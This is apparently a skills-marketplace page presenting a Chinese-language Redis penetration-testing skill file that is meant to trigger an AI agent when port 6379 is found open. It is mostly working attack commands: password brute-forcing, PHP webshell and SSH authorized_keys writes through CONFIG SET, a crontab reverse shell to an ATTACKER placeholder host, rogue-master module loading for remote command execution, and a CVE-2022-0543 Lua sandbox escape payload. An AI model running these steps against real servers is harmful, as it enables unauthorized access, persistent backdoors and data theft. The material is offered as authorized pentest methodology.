Skip to main content

redis-pentesting

Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。 当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。

معلومات المصدر

المستودع
wgpsec/AboutSecurity
آخر نشاط في المصدر
٢١ مايو ٢٠٢٦ في ٠٧:٤٢
لغة SKILL.md المكتشفة
الصينية
النجوم
١٬٧٧٨
التفرعات
٢٤٦

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
2 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
redis-pentesting
description
Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。 当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。
metadata
{"tags":["redis","6379端口","未授权访问","webshell写入","主从复制rce"],"category":"exploit/network-service"}
# Redis 渗透测试方法论 (6379) ## 深入参考 - Redis RCE 技术、Lua 沙箱逃逸 CVE、SSRF 结合利用详情 -> 读 [references/redis-techniques.md](references/redis-techniques.md) --- ## 整体决策树 ``` 发现 6379 端口开放 ├─ Phase 1: 服务发现 │ ├─ Nmap 脚本扫描 -> 版本信息 │ ├─ 手动连接测试 (nc / redis-cli) │ └─ 是否需要认证? │ ├─ 无认证 -> 直接进入 Phase 3 │ └─ 需认证 -> Phase 2 ├─ Phase 2: 认证与爆破 │ ├─ 默认密码尝试 │ ├─ 爆破 (hydra / nmap / medusa) │ └─ AUTH <username> <password> ├─ Phase 3: 信息提取 │ ├─ INFO -> 系统信息、版本、内存、keyspace │ ├─ CONFIG GET * -> 配置信息 (目录、文件名) │ ├─ CLIENT LIST -> 连接客户端 │ └─ 数据库遍历 -> SELECT / KEYS * / GET ├─ Phase 4: 文件写入利用 │ ├─ Webshell 写入 (需知 Web 根目录) │ ├─ SSH authorized_keys 写入 │ ├─ Crontab 写入 │ └─ 模板引擎覆盖 ├─ Phase 5: 主从复制 RCE │ ├─ redis-rogue-server -> 自动化 RCE │ └─ 手动 SLAVEOF + MODULE LOAD ├─ Phase 6: Lua 沙箱逃逸 │ ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸) │ ├─ CVE-2025-49844 (parser UAF) │ ├─ CVE-2025-46817 (unpack 整数溢出) │ └─ CVE-2025-46818 (元表跨用户代码执行) └─ SSRF 场景 └─ 通过 SSRF 与 Redis 通信 (CRLF 注入) ``` --- ## Phase 1: 服务发现 ### 1.1 自动枚举 ```bash # Nmap Redis 信息脚本 nmap --script redis-info -sV -p 6379 <IP> # Metasploit msf> use auxiliary/scanner/redis/redis_server ``` ### 1.2 手动连接 ```bash # nc 直接连接 nc -vn <IP> 6379 # redis-cli 连接 redis-cli -h <IP> # 第一个命令: INFO # 如果返回 -NOAUTH Authentication required. 则需要认证 ``` --- ## Phase 2: 认证与爆破 ### 2.1 Redis 认证机制 Redis 默认无认证。可配置仅密码 (`requirepass`) 或用户名+密码 (`masteruser`)。 ```bash # 认证命令 AUTH <password> AUTH <username> <password> # 成功返回 +OK ``` ### 2.2 凭据攻击决策树 ``` 认证测试 ├─ 直接连接 -> INFO │ ├─ 返回信息 -> 无需认证 -> Phase 3 │ └─ 返回 -NOAUTH -> 需要认证 ├─ 爆破 │ ├─ hydra -P passwords.txt redis://<IP> │ ├─ nmap --script redis-brute -p 6379 <IP> │ └─ medusa -h <IP> -P passwords.txt -M redis └─ 认证成功 └─ 进入 Phase 3 ``` --- ## Phase 3: 信息提取 ### 3.1 基础信息收集 ```bash INFO # 系统、版本、内存、keyspace 信息 CLIENT LIST # 当前连接的客户端 CONFIG GET * # 获取所有配置 CONFIG GET dir # 当前工作目录 (文件写入关键) CONFIG GET dbfilename # 数据库文件名 ``` ### 3.2 数据库遍历 ```bash INFO keyspace # 查看哪些数据库有数据 SELECT <db_number> # 切换数据库 (从 0 开始) KEYS * # 列出所有键 GET <key> # 获取字符串值 TYPE <key> # 获取键类型 LRANGE <key> 0 -1 # 列表类型 HGETALL <key> # 哈希类型 DUMP <key> # 序列化导出 ``` ### 3.3 实时监控 ```bash MONITOR # 实时监控所有命令 (可捕获凭据) SLOWLOG GET 25 # 最慢的 25 条查询 ``` --- ## Phase 4: 文件写入利用 ### 4.1 写入决策树 ``` CONFIG GET dir 获取当前目录 ├─ 有 Web 服务 │ └─ Webshell 写入 │ ├─ CONFIG SET dir /usr/share/nginx/html │ ├─ CONFIG SET dbfilename redis.php │ ├─ SET test "<?php phpinfo(); ?>" │ └─ SAVE ├─ 有 SSH 服务 │ └─ SSH 密钥写入 │ ├─ 生成 SSH 密钥对: ssh-keygen -t rsa │ ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n" │ ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh) │ ├─ CONFIG SET dbfilename authorized_keys │ └─ SAVE ├─ Linux 系统 │ └─ Crontab 写入 │ ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n" │ ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu) │ │ 或 CONFIG SET dir /var/spool/cron/ (CentOS) │ ├─ CONFIG SET dbfilename root │ └─ SAVE └─ 模板引擎环境 └─ 覆盖模板文件 -> 注入模板表达式 -> RCE ``` ### 4.2 Webshell 写入 ```bash redis-cli -h <IP> > CONFIG SET dir /usr/share/nginx/html > CONFIG SET dbfilename redis.php > SET test "<?php phpinfo(); ?>" > SAVE ``` ### 4.3 SSH 密钥写入 ```bash # 1. 生成密钥 ssh-keygen -t rsa -f /tmp/redis_rsa # 2. 导入公钥到 Redis (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key # 3. 写入 authorized_keys redis-cli -h <IP> > CONFIG SET dir /var/lib/redis/.ssh > CONFIG SET dbfilename authorized_keys > SAVE # 4. SSH 登录 ssh -i /tmp/redis_rsa redis@<IP> ``` --- ## Phase 5: 主从复制 RCE ### 5.1 原理 将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。 ### 5.2 自动化利用 ```bash # redis-rogue-server — 自动获取 shell (Redis <= 5.0.5) ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> ``` ### 5.3 手动利用 ```bash # 1. 编译恶意模块 # https://github.com/n0b0dyCN/RedisModules-ExecuteCommand # 2. 让目标成为 slave redis-cli -h <TARGET> > SLAVEOF <ATTACKER_IP> 6379 # 3. 在攻击者 Redis 上设置模块数据 # 4. 加载模块 > MODULE LOAD /path/to/module.so > system.exec "id" > system.rev <ATTACKER_IP> 9999 # 5. 清理 > MODULE UNLOAD mymodule > SLAVEOF NO ONE ``` --- ## Phase 6: Lua 沙箱逃逸 ### 6.1 逃逸决策树 ``` Redis 版本已知 + 可执行 EVAL ├─ Debian/Ubuntu + Redis < 6.2.x 修补前 │ └─ CVE-2022-0543 — package.loadlib 逃逸 ├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 │ ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态) │ ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽) │ └─ CVE-2025-46818 — 元表污染 (跨用户代码执行) └─ 其他版本 └─ searchsploit redis lua ``` ### 6.2 CVE-2022-0543 ```bash # Debian/Ubuntu 特定: lua 库未正确沙箱化 redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ``` --- ## SSRF 结合利用 当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令: ``` SSRF + Redis ├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令 ├─ 利用 CRLF 注入构造 Redis 命令 └─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE ```
عرض على GitHub